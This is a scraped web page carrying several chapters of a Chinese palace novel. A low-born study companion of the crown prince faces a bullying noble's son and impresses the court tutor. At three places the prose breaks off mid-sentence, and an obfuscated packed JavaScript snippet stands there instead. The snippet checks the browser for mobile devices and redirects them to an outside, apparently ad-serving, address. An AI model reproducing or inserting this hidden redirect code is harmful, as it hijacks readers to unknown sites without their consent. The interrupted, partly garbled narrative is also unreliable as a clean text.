安弘毅嘴角一扬,将腰间那枚最为晶莹剔透的羊脂玉往上举了举,让在场众人看个清楚:“我可不是小气的人,你们想看,便给你们瞧上一番吧!纵是圣上赏给娘娘们的玉,也罕有能比得上我这块羊脂玉呢。” 方邵元笑道:“郡主娘娘是在太后的慈宁宫养大的,自然深受圣宠。” 安弘毅扬了扬下巴:“我母亲可不只是在慈宁宫长大的,而且是和圣上一起长大的。” 很快,他环视一周,最后将视线落到了在场唯一一位生面孔身上,问道:“你就是太子哥哥最后一名伴读么?” “是。” 隋明朗抱拳道:“见过安公子。” 安弘毅嗤了一声,看着隋明朗所穿之衣摇了摇头,问:“看着不怎么样嘛!你父亲是做什么的?” 隋明朗微垂着头,谦卑道:“家父只是一个六品官。比起郡主娘娘与国公爷,自是萤火之光比皓月,难及万一。” “六品官?” 安弘毅夸张地扬了扬眉毛:“你在家读过书吗?怎么什么人都能给太子哥哥当伴读了?” 隋明朗道:“想是圣上体恤臣民,故而予我这样的人一个窥见天颜的机会。” 安弘毅撇了撇嘴:“倒挺会说话。不过若是只有嘴皮子,那可是不行的!记得这几日好好看书,免得上课时听不懂先生在讲什么,可就辜负圣上的一片美意了。” 隋明朗拱手:“谢安公子提醒。明朗自知才疏学浅,自当用心读书,以报圣上悯恤之情。” 安弘毅哼了一声。 他先前便听说此次的伴读名单里有位六品官的儿子,六品小官之子,这样的低贱之人,读过书,学过皇家礼仪么?和这样的人一起读书,简直是跌份儿。不,让这样的人进来,都是脏了东宫的地盘。 他本是存着心挑对方的刺,不想这个六品小官之子大约是低眉顺眼惯了,一时倒叫他挑不出什么毛病。 想了想,安弘毅道:“你既然知道自己才疏学浅,不如禀报太子哥哥,就说胜任不了伴读这一身份,自请离宫去,免得最后什么学不会不说,反而坏了先生的名声。” 隋明朗一时愣怔。 这应当是在开玩笑吧? 安弘毅却道:“没听清我说的话吗?愣着干什么?还不快去!” 一旁,宁为远忍不住道:“安公子,隋明朗入宫伴读乃是圣上之命,他一个臣子,如何敢抗旨?” 安弘毅冷着脸斜他:“你是什么身份?也配教我做事?” 宁为远张了张口,没敢再说话。 “走啊。” 见隋明朗不动,尊贵惯了的安弘毅立刻发作起来。入东宫当伴读,每人最多只能带一名贴身小厮,眼下安弘毅的小厮正在房间里替他收拾东西,他便亲自上前,抓住隋明朗的衣服:“走!我带你去!” 方邵元与宁为远见状面面相觑。 清平郡主之子真是比传闻中还要跋扈,在东宫中都敢如此行为。他们即使想阻止,有这颗心,也没这个胆子。 隋明朗还在思索眼下该怎么办,这时,外面传来一声低喝—— “住手。” 众人闻声看去,几名太监走了进来。为首之人身姿挺拔,面色严肃。 隋明朗松了口气,同时在心中思忖:东宫之中,就连太监也是这样有气势的吗?不,同样是个领头的,此人和带自己入宫的那位太监是完全不同的感觉。 领头太监一挥手,身后两名小太监立即上前,一左一右将安弘毅拉开,将他控制起来。 安弘毅怒道:“你们在干什么?竟敢这么对我!待我告诉母亲和太子哥哥,非扒了你们的皮不可!” 领头太监低了低头:“安小公子,奴才当然认得您。只是,太子殿下有命,若有人敢在东宫之中不守规矩,仗势欺人,无论是谁,皆严惩不贷——去,把安小公子拉到廊下,杖责十棍。” “你失心疯了?” 听见一个阉人居然要对自己实施杖刑,安弘毅的第一反应是好笑,眼见这两个小太监真的要动手,他不可置信地瞪起眼,回头威胁道:“你们若敢动我一根汗毛,我保证,一定叫你们死无葬身之地!” 这一威胁,登时将两名小太监吓住了。身在东宫,他们自然听说过:郡主娘娘是圣上面前的红人,而安小公子又是郡主娘娘的心头肉,时常入宫玩耍。 领头太监冷眼一瞥。 “这里是东宫,太子殿下是咱们唯一的主子。真要有什么事,也是我担着,动手。” 于是,在安弘毅持续不断的威胁声里,他被拖到了用来对贵人施刑的长椅之上。 领头太监道:“安小公子,奴才们只能遵命行事。安小公子晚些时候可去向郡主娘娘说情,若是郡主娘娘亲来东宫,殿下或许会允小公子不必守东宫的规矩。只是,此刻奴才必须依照殿下之命,对违反宫规之人施以惩戒。” 说完,他对两名小太监道:“打。” 一下、两下、三下……整整十下结束后,安弘毅全身瘫倒在长椅上。 两名施刑的小太监将他搀扶起来,送到床榻上,另一名小太监则快跑着去拿上好的膏药。 尽管施刑的小太监没敢用力,可对于养尊处优惯了的安弘毅来说,这十棍还是令他面色发白,叫苦不迭。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隋明朗跟着太监来到了一座恢弘的建筑面前,上中下共三层,这会儿雨已停了,日头出来,“藏书阁”三个字在阳光下显得熠熠生辉。 入了藏书阁,似有一股古朴而浓郁的书香扑面而来。一个个高大的书架排列整齐,一直延伸到视线的尽头。书架上摆满了琳琅满目的书籍,既有各色珍贵的古籍善本,也有华丽的手抄卷轴。 这,便是皇家藏书。 隋明朗一时有点儿看呆了。 这么多的书,寻常人恐怕穷尽一生都看不完吧。 太监提醒道:“小公子,这边。” 隋明朗回过神来,快步跟上。 领路太监道:“这边这些,都是日后先生授课时会用到的书,只是先后次序可能不一。小公子尽可提前借去熟悉,只要做好名册的登记即可。当然,留在此处翻阅也是可以的。” 隋明朗抱拳道:“多谢公公。” 太监躬了躬身,回到藏书阁的入口处等候隋明朗择书完毕。 很多书再珍贵,眼下和自己也是无关的。读书如同盖房子,须得一步一步来。 这一点,隋明朗很清楚。 他从浩如烟海的书籍中挑选了一本《春秋》,这是他正在学习,并即将要学完的书,他希望能在先生正式授课之前将它学完。 5. 第 5 章 东宫北苑,宁宦宫。 “郭公公,你这是刚从伴读所过来?伴读中可有不守规矩的?” 站在首位的一名太监问道。 此人姓杨,是东宫的高等太监之一。同时,他还是南苑广阳殿唯一的高等太监,因此是整个东宫里实际地位最高的太监,哪怕对上皇宫里的太监总管,也能平视着说话。 “清平郡主之子安弘毅,仗家世欺人,我已遵照殿下的命令施以惩戒,将其杖十棍。” 郭公公回应道。 在场太监们纷纷倒吸一口凉气。 郭公公还真是…… 难怪了,明明在东宫资历最久,差事也办得很好,却只是名义上的高等太监。 杨公公笑道:“对安小公子施以惩戒,这样的差事也只有郭公公你能办好了。若是没有郭公公,咱家真不知道要找谁才能完成好殿下交代的命令。” 停顿了一下,他又望向宁宦宫里的众太监:“殿下和诸位伴读后日起才会跟着先生读书,殿下刚刚吩咐了,明日,我们宁宦宫要先给六位伴读上一上宫里的规矩课。” 此言出,周围顿时一阵议论声。 给这群家世显赫的伴读教规矩?这要怎么教啊! 有小太监唯唯诺诺地问道:“杨公公,以几位伴读的门第,不会不懂宫中规矩吧?他们当中有好几位时常入宫呢。” 杨公公道:“这是殿下的命令,咱们做奴才的,照做就是。何况,既是好几位,便不是全部。” 停顿片刻,他看向众太监:“你们当中,可有人愿意主动接下这差事?” 一片静默。 杨公公道:“罢了,这样的差事,让你们这些小辈们去做,未免太难为你们了,就挑两位高等太监来负责吧——郭公公,你可愿为殿下分忧?” 郭力夫上前一步,表示愿意。 “那么,另一位。” “曹公公。” 被点到名的曹公公出列道:“主子的命令,赴汤蹈火我也是愿意的,只是,眼下我手头——” 杨公公微笑着打断道:“给伴读们教规矩,这是宁宦宫当下最重要的事情,我知道你手头上还有别的活儿,不管是什么,先放一放,或者交给别人去做。若是人手不够,我再拨些小太监过去帮你。” 曹公公还欲反驳,杨公公却不给他机会:“咱家要伺候殿下,徐公公又被殿下派出东宫了。眼下东宫的高等太监里,就只剩你和郭公公有余力做这项差事。” 曹公公只得道:“是。” 出了宁宦宫,两位负责为伴读们讲授规矩的高等太监一起商议明日的教学内容。 曹公公骂道:“明明都是一样的高等太监,那姓杨的仗着在殿下跟前伺候,每每都把好差事留给他自己和他那几个干儿子,把得罪人的差事交给我们。” 是的,给伴读教规矩这种事,做得好不会有赏赐,一个不留神,却会得罪这些出身高贵的士族子弟。 郭公公一句话也没说,而是在认真书写罗列明日要上的课程。 曹公公瞥了他一眼,心想:真是个蠢的。不过这样也好,明日就把得罪人的活儿都丢给他。 …… 从藏书阁回来后,隋明朗待在房间里看了一整日的书,期间吃了两餐,都是两个小太监将饭菜端进房里的。 不得不说,这比他在家中过得好。 待到夜幕降临,孤月高悬,读了一天书的隋明朗才选择出来走走,活动一下身体。 他再次被东宫里的景象给震撼了。 常言道,日出而作,日落而息。 这是因为,太阳落山以后,四下里总是漆黑一片,做什么都不方便。 对于普通人家而言,每点一个灯笼、一支蜡烛,都是要耗费银钱,需要计算着使用的。 对于隋府这样的官宦人家,倒不必节省灯笼蜡烛,但,隋明朗同样清楚,白天与黑夜的不同并非财力可改——哪怕点了再多的灯笼,走起夜路时也是需要留神脚下的。 白昼里的太阳,月亮尚且不能比拟,何况是灯笼蜡烛之类的凡间物什? 然而此时此刻,隋明朗一直以来的认知被打破了。 走在东宫长廊里,目之所及皆是亮堂堂的,虽比不得白昼,却一点也不逊色于天上的月亮,比隋府、比元宵中秋庙会明亮太多了。 “这灯笼是如何制作的?为何比隋府的灯笼亮这样多呢?” 隋明朗驻足在一盏灯笼前疑惑道。 犹豫了一会儿,他还是摁下好奇心,没有去询问附近值守的太监。 “以后总会知道的。” 他在心里对自己说道。 在外面溜达了一阵,隋明朗回到房间,准备休息。 他先是体验了宫中独有的“净牙粉”,又用太监们提前备好的一大桶热水沐了浴,最后换上嫡母因着自己入宫伴读特地新买的白缎寝衣,钻进暖被。 这就是皇宫。 不能被这些东西乱了眼,明日起床后要更努力读书才行。 入睡前,他这么告诫自己道。 翌日,天还没亮,隋明朗就醒了。 睁开眼时,望见上方有着镂空花纹雕饰的床顶,他有那么一瞬间是懵的,当视线划过房间里各式各样精美的家具,才恍然记起自己在哪儿。 “小公子,您起得真早。” 守在门口的太监见他出来,忙道:“请您稍等,我这就去叫人给您端洗漱用的热水。” “不用那么——” 麻烦二字还没说出口,太监已经小跑着走远了,隋明朗只好再回到房间里。说实话,被人这样伺候,他还真有些不习惯。 只等了片刻,一名太监便端着洗漱用的热水走了过来,显然是早早就备好了。 隋明朗洗漱的当儿,太监提醒道:“小公子,今日的早膳,伴读们要在琼筵室共进,早膳后,会由曹公公和郭公公两位高等公公给各位小公子讲一讲宫中的规矩。” 教规矩? 这是再好不过的事。 宫中规矩繁琐,自己虽能时时谨慎留心,察言观色,却不如有人专门讲授得好。 隋明朗问:“请问怎么走去琼筵室呢?我可能找不到路。” 比起隋府,东宫实在太大。 太监掩袖笑了笑道:“没关系,一会儿我领您过去。” 学习宫中规矩,比起隋明朗的闻之欣然,绝大多数伴读则是倍感惑然,有的甚至面露愤然。 “什么意思?我从小就是在宫中长大的,还需要特地学习宫中的规矩?” 安弘毅瞪向说出此话的太监。 被他瞪着的太监连连弯腰:“安小公子,这种事也不是奴才们能决定的,是太子殿下的吩咐。” 听见太子殿下四个字,安弘毅的嚣张气焰立马熄下去了。 他的屁股到现在还疼着呢! 但是,本来就是嘛! 自己哪有学规矩的必要! 其他几位伴读也是差不多的想法。 纵使其中也有人没进过几次宫,父兄却是宫中常客,自然不觉得有特意学习宫规的必要。 说到底,他们是来陪殿下读书的。 但,无论诸人想法如何,太子殿下既然下了命令,那就要一丝不苟地执行。 于是,早膳过后,在两位高等太监的指引下,数位低等太监准备好教规矩所需的物什,一字排开。 从平日如何走路,到宫宴如何吃饭,再到面对圣上及后宫贵人如何回话,没有一项不教的。 这么一整日下来,众人皆是累得腰酸背痛。他们一边往伴读所走回去,一边抱怨起姓郭的太监。 “这个太监真是较真。” “就是,有必要把每个动作都做得那么规范吗?圣上一向宽容,每次见了我都许我免礼呢。” “常言道,小鬼难缠。他得了太子殿下的命令,便拿着鸡毛当令箭,使劲地折腾我们。” …… 安弘毅看了眼一直沉默着不说话的隋明朗,哼道:“你心里是不是还感激这太监呢,毕竟我们六个当中,只有你什么礼节也不懂,倒是真有上这个规矩课的必要。” 若承认,就等于与其余五名伴读对立。若否认,那便是冒犯了殿下的命令。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103266|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所以,隋明朗只能不说话。 “这会儿变哑巴了?” 安弘毅继续找茬道:“你白日里不是学得很起劲么?” 幸而已走到了伴读所。 方邵元出来解围道:“安公子,今日已很累了,快早些回去休息吧。明日就要正式上课了,若是没有精神,在太子殿下和先生面前失仪,那便不好了。” “也是,懒得管你。” 安弘毅一边走向自己的房间,一边命令太监道:“快点备热水,本公子要沐浴歇息。” 隋明朗冲方邵元拱手:“多谢。” 方邵元笑笑:“咱们是同窗,以后需要相互照顾的日子还多着。时候不早了,大家都早点回去休息吧。” 伴读们终于散去。 隋明朗回房间后也泡起了热水澡。一边泡着,一边回忆着白日里郭公公示范的所有宫中礼仪,力求牢牢地它们记在自己的头脑中,日后绝不出错。 南苑,广阳殿外。 “杨公公,今日给伴读们的规矩课上完了,我们特来回禀太子殿下,殿下可安睡了?” 曹公公询问道。 “还没呢,你们在这儿等着吧,咱家进去禀报一声。” 等了足足一盏茶的功夫,杨公公终于重新走了出来:“殿下宣你们入内。” 曹公公感到紧张起来,他下意识地瞧了一眼自己的同伴,却见对方腰背挺直,面不改色,于是又重新将视线转回前方,一边跟着杨公公往里走,一边将腰部微微向前弯曲。 “奴才拜见殿下。” 两个太监以首叩地。 听不见殿下允许起来的吩咐,他们便只能一直跪着,什么都看不见,耳边也只能依稀听到挥剑的声音。 是了,东宫上下几乎都知道,比起读圣贤书和学习政务,太子殿下更爱剑术。正是因为这一点,广阳殿还特意翻修过,就是为了殿下能够拥有足够的室内空间来练剑。 就这么匍匐着过了不知有多久,两人终于听到宝剑入鞘的清脆响声,他们在心中轻舒一口气,紧接着,有威严的男音从上方传来—— “起来吧。” 二人如蒙大赦,赶忙爬起来。 曹公公略略抬头,说实话,他很少有这样面见太子殿下的机会。此时此刻,昏黄的灯火之下,殿下一身尊贵的红色锦袍格外耀眼,那双眼睛虽然年少,却犹如古林中的一泉幽潭,深邃、危险,令人不敢直视。 仅仅看了一眼,他便因为紧张与惧怕,控制不住地低下头。 一旁,郭公公的表现要好许多,却也无法如先前那般自若,而是腰背略俯,头颅低垂,恭敬十足。 “几位伴读可还懂规矩?” 红袍少年随意一甩,长剑便径直入了倚立在墙角的剑鞘。他信手拿起案头的洒金折扇,面容冷峻,审视着下方的两个太监。 曹公公欲要开口,一时之间却紧张得不知该如何回禀。 郭公公躬着身子道:“回太子殿下,昨日安小公子触犯宫规,奴才将其杖责了十棍,今日安小公子的性子便收敛多了,几位伴读学习宫规都学习得很好。” “哦?” 顾温略略挑了挑眉梢:“这么说,他们全都已经掌握了?” 郭公公道:“回殿下,伴读之中有五位原本在家中时便学过宫里的规矩,奴才们今日只是稍作矫正,故而掌握得不错。还有一位伴读虽不曾在家中学过,但他相当聪明,学习时又尤为认真,故而也掌握得很好,并不比其他伴读逊色。” 顾温把玩着手中折扇,那扇柄之上雕刻着一条四爪蟒,其威严的气势好似快要从扇中冲出。 “没学过,却比其他人做得好么?” 顾温淡淡地勾了勾嘴角。 郭公公的腰背略略又低了几分,他如实说道:“依奴才之见,确是如此。” 折扇在手中转了一圈,下一秒,顾温手腕一展,折扇随之被打开,发出一声清脆的声响。 “做得不错,赏!” 此言一出,不但郭、曹两位公公面露惊喜之色,就连贴身侍候的杨公公,眼中亦流露出几分不可置信。 6. 第 6 章 “他们两个,竟然每人从殿下那里得了五十两金子。” 广阳殿外,目送着两个领赏的太监渐渐走远,杨秋心中只感到后悔。 五十两金子很多,却不是最重要的。 最重要的是,殿下是很少赏赐的。赏赐,意味着下人们做的差事令主子十分满意。而想要令太子殿下十分满意,实在太难。 若是让别的太监入了殿下的眼……早知道,他就亲自上阵教伴读们学规矩了。 再不济,也要将这差事分给自己人,而不是另外两个一等公公。 “干爹,您怎么了?” 一个小太监看着眉头拧在一起的杨公公,忍不住出声询问。 显然,在小太监眼里,五十两金子对于干爹这样实际上的东宫总管太监来说,应当是不算多的。 “你跟着我也好几年了,怎么脑袋还是这么不灵光?” 杨公公在他脑门处狠狠敲了一下,随即眯起眼道:“这事儿不对,明显不对。” 殿下居然如此看重这批伴读。 又或者说,殿下只是看重其中的某一位伴读? “元福,你在这里守着,殿下这边有什么动静立刻来告诉我。元修,你去找个今日和郭公公曹公公一并去伴读所的小太监过来,我要问问话,还有,再把伴读们的身家背景也拿到我的卧房。” 杨公公一口气交代道。 “是!” 几个小太监立刻遵命行事。 “安弘毅,身份最为显赫,可殿下是拿他开的刀,自然不是。李奇承,中远伯之子,他父亲已不在朝中了,一个落魄的贵族,肯定不会得到殿下的看重。” “隋明朗,六品小官的儿子,这是走了什么运才能被圣上选中,嗤。” “方邵元、宁为远、崔嘉瑞……方邵元是丽妃的亲外甥,如今丽妃的恩宠虽比不得贵妃娘娘,却也是能排在第二位的,最有可能。崔嘉瑞是户部尚书的嫡长子,听闻户部尚书在朝堂上和丞相大人是穿同一条裤子的……不错,必是这两人之一。” 杨公公双眼一眯,从中迸射出精光——他认为自己已经找到了正确答案,只要讨好了方邵元与崔嘉瑞,自然也就能讨好殿下。 *** 伴读们经过了一整日的宫规学习,便要正式陪伴太子殿下读书了。 早膳过后,在一位小太监的引领下,隋明朗早早地来到先生授课的书房。 书房里共有七个座位,分三排。 最前方一排单独设座,桌案要比其余的更大,也更奢华,显然是太子殿下的专属。 后面两排,每排设有三个桌案,每个桌案上分别立着一个写有姓名的小木板,以及书本、笔、墨、纸、砚等。 此时,书房中已有一人了,是中远伯之子李奇承,座位在第三排第二位。 隋明朗的座位还要再往后一位,第三排第三位。 听见动静,李奇承抬头望了一眼,见到来人,他主动笑了一下,而后又重新埋下头,继续读书。 隋明朗也回以一个和善的笑容。 在自己的位置坐好,隋明朗从堆叠放置的几本书里,将摆在最上头的第一本拿了过来,翻开一看,这是自己昨日傍晚才读完的《春秋》。 仔细看下去,又有所不同。 家中的那本,包括东宫藏书阁内的那本,书中皆有注释,是由前朝的孔令达老先生作的注释,现今市面上流通的《春秋》大多如此,可桌案上的这一本却没有任何注释,只有文字古奥晦涩的原文。 这样一本《春秋》,若没有先生教,必定是很难领会书中真义的。 东宫里的书当是最好的,这本《春秋》怎会没有任何注释呢? 隋明朗翻起了桌案上的其他几本,他很快便发现:每一本书都是仅有古文,没有任何注释。 不过也正是因此,每一处原文旁都有大片的空白,可供学生读书时做笔记。 “你们俩来这么早。” 方邵元与宁为远并肩走了进来,二人分别落座在第二排的第三位,第三排的第一位。 李奇承抬头道:“睡不着。” 隋明朗道:“我也差不多。” 方邵元哈哈一笑:“这也很正常。能和殿下一起读书,谁不紧张呢。而且我听说一个消息,给咱们授课的可是尚承德老先生。” 见隋明朗面有茫然之色,方邵元想起他的情况,又多解释了一句:“尚老先生是三朝元老,官至太傅,同时还曾是圣上之师,被圣上亲封为靖贤侯——这是我朝文官所能获得的最高爵位。如今,尚老先生虽从太傅的位置上退了下来,安心养老,他的门生故旧却是遍及天下。” 隋明朗点点头:“果真厉害!” 方邵元笑道:“寻常人又岂能当得了殿下的先生。” 这便是当伴读的另一好处了。 若能幸运地得到尚老先生的垂青,这对于日后的官途、整个家族的未来,都有无尽好处。 说话间,安弘毅与崔嘉瑞二人也一前一后地到来。 隋明朗原本还有所担心,却见安弘毅一言不发,落了座后便翻起书本。 看来,学堂重地,太子殿下与先生随时会到来的地方,饶是安弘毅也不敢再骄纵了。 安静地看了一阵书,一名身穿绛红色长袍的少年大步流星而来。 隋明朗将书本摊在桌案上,头颅微垂,余光悄悄瞥至红袍少年——他知道,那便是太子殿下了。 他想确认,太子殿下究竟是不是五年前摔入隋府,被自己带进房间里擦药的少年。 利剑般的眉,漆黑深邃的眸,如鹰隼一样锐利的眼神,周身华贵的气度。 只一眼便可确认了。 若说有什么不同的……他隐约记得,当年的少年身上除了威严以外,还存在着似有若无的悲凉感,就像是一只被遗弃了的小狼崽—— 隋明朗被自己吓了一大跳,赶忙摇头,将这种念头从脑海中清除干净。 堂堂太子殿下,日后的天下之主,哪能这样形容? 简直是大不敬。 何况,如今的太子殿下,身上也只剩一股天威不可冒犯的凌厉。 太子殿下并没有落座。 不知是不是错觉,隋明朗隐约觉得,殿下站在座位旁没有坐下,而是将视线投向了自己这边。 隋明朗不自觉地将头稍稍往上抬了半寸,飞快地朝那个方向看了一眼——他发誓,自己看了连半秒钟都不到,然而,却是清清楚楚地与太子殿下对视上了。 隋明朗条件反射地将头埋下去。 随即又感到懊恼与担忧。 他开始回忆昨天的宫规课——与殿下这样的贵人对上了视线,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尚承德点了点头:“不错。” 方邵元心道:看他那骄纵跋扈的性子,还以为是个不读书的,没想到学问竟不落后——凭安弘毅的出身,无需参加科考,日后也能安稳继承国公之位。 此刻,宁为远崔嘉瑞李承奇三人,心里也是差不多的想法。 “那么,下一位。” “隋明朗。” 隋明朗一怔,随即起身道:“学生在。” 尚承德看了隋明朗数秒,见隋明朗一直呆呆地不作声,才轻笑着提醒。 “你呢?在家中读到什么书了?” 隋明朗这才反应过来,心中不免懊恼:自己怎么回事,跟个傻子似的,还要先生提醒。 别紧张,尚老先生比隋府请的夫子都要和善。 他并不知道这个年纪的士人子弟应当读书到什么程度,但既然安弘毅没有令先生皱眉,那自己就算读书不多,大约也没有什么。 正要开口,却被人抢了先。 安弘毅坐在座位上笑道:“先生,您这样问可就难为他了。他父亲只是个六品小官,他在家里有没有读过书都不一定呢。” 7. 第 7 章 这一刻,隋明朗看见,几乎所有人的目光都朝自己望过来。 尚承德在一天前也已了解到七名学生的家世,知道其中那个叫隋明朗的,大约另有某种缘由,才会被安排成太子伴读。 他一把年纪的人,没有兴趣弄清楚缘由具体是什么,只想着尽好先生教书育人的职责,完成圣上交给自己的最后一道旨意。 尚承德望向坐在最末位的清秀少年,温和地询问:“是这样吗?不要紧,你年纪尚小,纵使读书不多也情有可原,日后多下功夫赶上便是。” 下一秒,清朗的少年音响起。 “回先生,学生已读完《春秋》,正准备开始学习《左传》。” 隋明朗此言一出,安弘毅面色立刻变得极差——他前脚才说了那样的话,后脚对方就说读的书比自己要多,这简直就是故意在打他的脸! “哦?” 尚承德略有惊讶地扬了扬眉,看着隋明朗问:“那么,老朽从《周易》与《春秋》中各抽一题,你可接受?” 隋明朗道:“但听先生考问。” “《周易》中,阴阳做何解释?” “《周易》言,阴阳乃天地之根本。乾阳刚健,坤阴柔顺,二者相对而立,却又相依而生。譬如八卦之中,阴阳爻交错,成不同卦象,能够彰显世间万物的状态与变化。” 隋明朗语气平缓,声高字清,传入在场每一个人的耳朵里。既不会使人感到畏畏缩缩,亦无半分得意之色。 尚承德道:“答得不错。” 隋明朗暗暗吐了一口气。 感受到众人的注视,他还是没法不紧张。尤其是当他将视线往前看去时——太子殿下尽管没有回头,却身影挺拔地坐在那里。 他知道,殿下必定是因为记着自己当日的上药之情,才会给自己一个入宫伴读的机会。 他不希望使殿下失望,更不想、也不敢让殿下因为自己而丢脸。 希望下一道题也不要难。 尚承德继续问道:“那么,在《春秋》当中,齐国之所以能够称霸,原因为何呢?” 隋明朗彻底放了心。 他尽可能不疾不徐地说道:“其一,用管仲而革新,政通人和,军强民富。其二,高呼尊王攘夷,以诸侯之长的身份,出师必有名,挟天子之名征讨。其三,齐桓公胸怀大志,礼贤下士,广纳人才,得天下英才辅佐。” 这一回,听完隋明朗的作答,尚承德点了点头:“非但牢记书中的内容,还能有自己的见解。这样小的年纪,不错。” 隋明朗不好意思地笑了一下。 尚承德笑道:“坐下吧。” 他开始提问下一个人。 方邵元悄悄将身体靠过来,压低声音道:“很厉害!话说,你父亲当年应该是通过科举考试做的官吧?什么位次呢?” 隋明朗迟疑了下,也小声地回答:“我父亲中的是探花。” “难怪,家学渊源啊。” 方邵元笑道:“而且子承父貌。” 隋文山长得好,书读得也不错,本该拥有前途,但他却实在不擅长为官之道,唯一的官场人脉只有岳父,双方还闹僵了关系。 因此,为官十余年,他仅仅从地方的六品官,变成如今的六品京官。 隋明朗含蓄地笑了一下。 “好了,初次见面的考问就到这里,看得出来,诸位小友在家中都学得不错。接下来老朽开始授课,我们就先从《诗经》学起。” …… 一堂课下来,隋明朗便知晓桌案上的这些书为什么都没有注释了。 尚老先生的教法和隋府请的教书先生截然不同,五经中的每一篇章,甚至每一段文字,老先生都能从当时的背景,联系到如今的大衍王朝。至于授课内容,从朝政,到民,到礼,到经济,无一不涉及。 于隋明朗而言,同样的书,同样的文字,却是打开了另一个崭新的世界。 不知不觉,一上午就过去了。 “望各位小友好好复习学过的内容,撰写一篇关于君子风范的文章,明日课前放到我的桌案上,我会逐一批阅。” 以尚老先生的年纪,自然不可能授课一整日。留完作业,这一日的课程便结束了。 “殿下,请。” “先生请。” 尚老先生与太子殿下率先离去。 “明朗,你写了这么多的注释?” 方邵元一回头望见东宫发下的,属于隋明朗的《诗经》原文,空白处出现了密密麻麻的一片字,他不由笑道:“你这右手,大约一上午都没闲着吧。” 其余伴读闻言也看了过来。 宁为远好心地提醒道:“做注释讲究的是一个言简意赅,何况,若是将先生将的全都誊抄上去,上课时便没有精力跟上先生的思路了。若是有忘记了的,再问先生或是其他同窗就是,委实不必全部记下。” 隋明朗看着自己的笔记。 他们说的确实很有道理……家里的先生不会对自己解释第二遍,这里却不同。 一直以来的习惯,应该改改了。 安弘毅哼道:“小家子气!” “我也读完五经了,故意谦虚点罢了,结果倒叫某人踩着我出了风头。” 隋明朗只当没听见。 其余几位伴读也都没搭腔。 这时,有另一道声音从外面响起,音色低沉而令人感到威严,又夹杂着几分漫不经心。 “是么?果真读完五经了?” 众人闻声望去,来人竟是太子殿下。 安弘毅跳上前,摆出一副笑容道:“太子哥哥,你怎么又回来啦?若是遗落了什么东西,只管叫宫人们回来取不就好啦?何必亲自走一趟呢?” 顾温没有理会这番话,瞧着他道:“若是撒谎,孤便要以欺君之罪惩治了。” 轻飘飘的一句话,却有千钧之重。 安弘毅整个人一愣。 “我,我……” 磕巴了好一会儿,安弘毅的脸憋得通红,到底是不敢不如实道:“我没读完。” 顾温冷淡地瞧了他一眼,又用同样冷淡的眼神瞧了在场另外几名伴读一眼,最后什么也没说,从桌案上拿起一本书离开了学堂。 安弘毅瞪了隋明朗一眼,也快步跑了出去,留下剩余的五名伴读在原地。 方邵元笑道:“走吧走吧。” 经历了这么个插曲,隋明朗有些心不在焉。比起在隋府,当伴读的日子可真刺激。 罢了,不想这些,还是仔细想想先生留下的作业该如何完成。 正准备回房,方邵元邀请道:“自己吃午膳多没意思啊,和我们几个一起吧!” 隋明朗想起父亲的嘱托,有意应下,可是想到学堂以外与安弘毅接触只怕更易激发矛盾,又迟疑了。 方邵元好似知道他在想什么,笑道:“放心好了,安公子是不会愿意和咱们一起吃的。” 于是,隋明朗跟着进了方邵元的宫室,与方邵元、宁为远二人一起享用午膳。 方邵元主动开启话题道:“听说道逸先生昨日又作了新词。” 宁为远奇道:“你在宫中也能知道这事儿?” 方邵元笑而不语。 这可不方便拿到台面上说。 宁为远耸耸肩:“知道了也没法出去听,咱们可没有休沐的说法,就算哪天不上课也没法出宫,不知道得多久以后才能出去呢。” 方邵元笑道:“还有半个多月就是太后她老人家的寿日,宫中会举行盛大的寿宴,咱们借着献礼的由头回府准备,到时候自然就可去畅音阁。” 宁为远一怔,随即也笑了:“连这么久的事情都想好了,你可真是捧道逸先生的场。” 方邵元昂首道:“以道逸先生的才华,愿意捧场的又岂止是我?” 宁为远困惑:“道逸先生每首诗词一出,必定惊艳京城,他既如此富有学识,为何不去科举?畅音阁固然是雕栏玉砌之地,终究难登大雅之堂。” 方邵元沉吟道:“大约不是所有人都追求登庙堂之高吧,道逸先生只愿作个风流富贵闲人。我虽不赞成此志,却也知这同样是道逸先生的可贵之处。” 宁为远点点头。 常常给道逸先生捧场的人尚且不理解,他就更不理解了。至于可贵,或许算吧。 方邵元望向隋明朗,笑着问道:“明朗,你怎么一直不说话?在想什么呢?” 其实,隋明朗只是插不上话。 什么畅音阁,什么道逸先生的诗词,他一概没听说过。筹备节日献礼……他们准备出宫去畅音阁,那自己是不是也可以趁机回家? 虽说嫡母看在自己入宫伴读的份上,应当会对母亲好些。但,想到母亲的身体,以及要许久之后才能见到母亲,他不免还是会有些担心。 隋明朗道:“我在想先生留的作业,君子风范这个题目该怎样写。” 方邵元听了笑道:“不用这么用功吧!明日才需要交作业,还有一整个下午的时间呢,何况先生也没有限制字数,用过午膳休息一会儿再思考也不迟。” 隋明朗笑着嗯了一声。 “三位小公子,这两道菜是咱们东宫小厨房烧制出来的,分别叫作‘玉龙踏雪’、‘金凤朝阳’,太子殿下尤为喜爱。杨公公特地吩咐小厨房多做了些,给三位小公子也献上一份。” 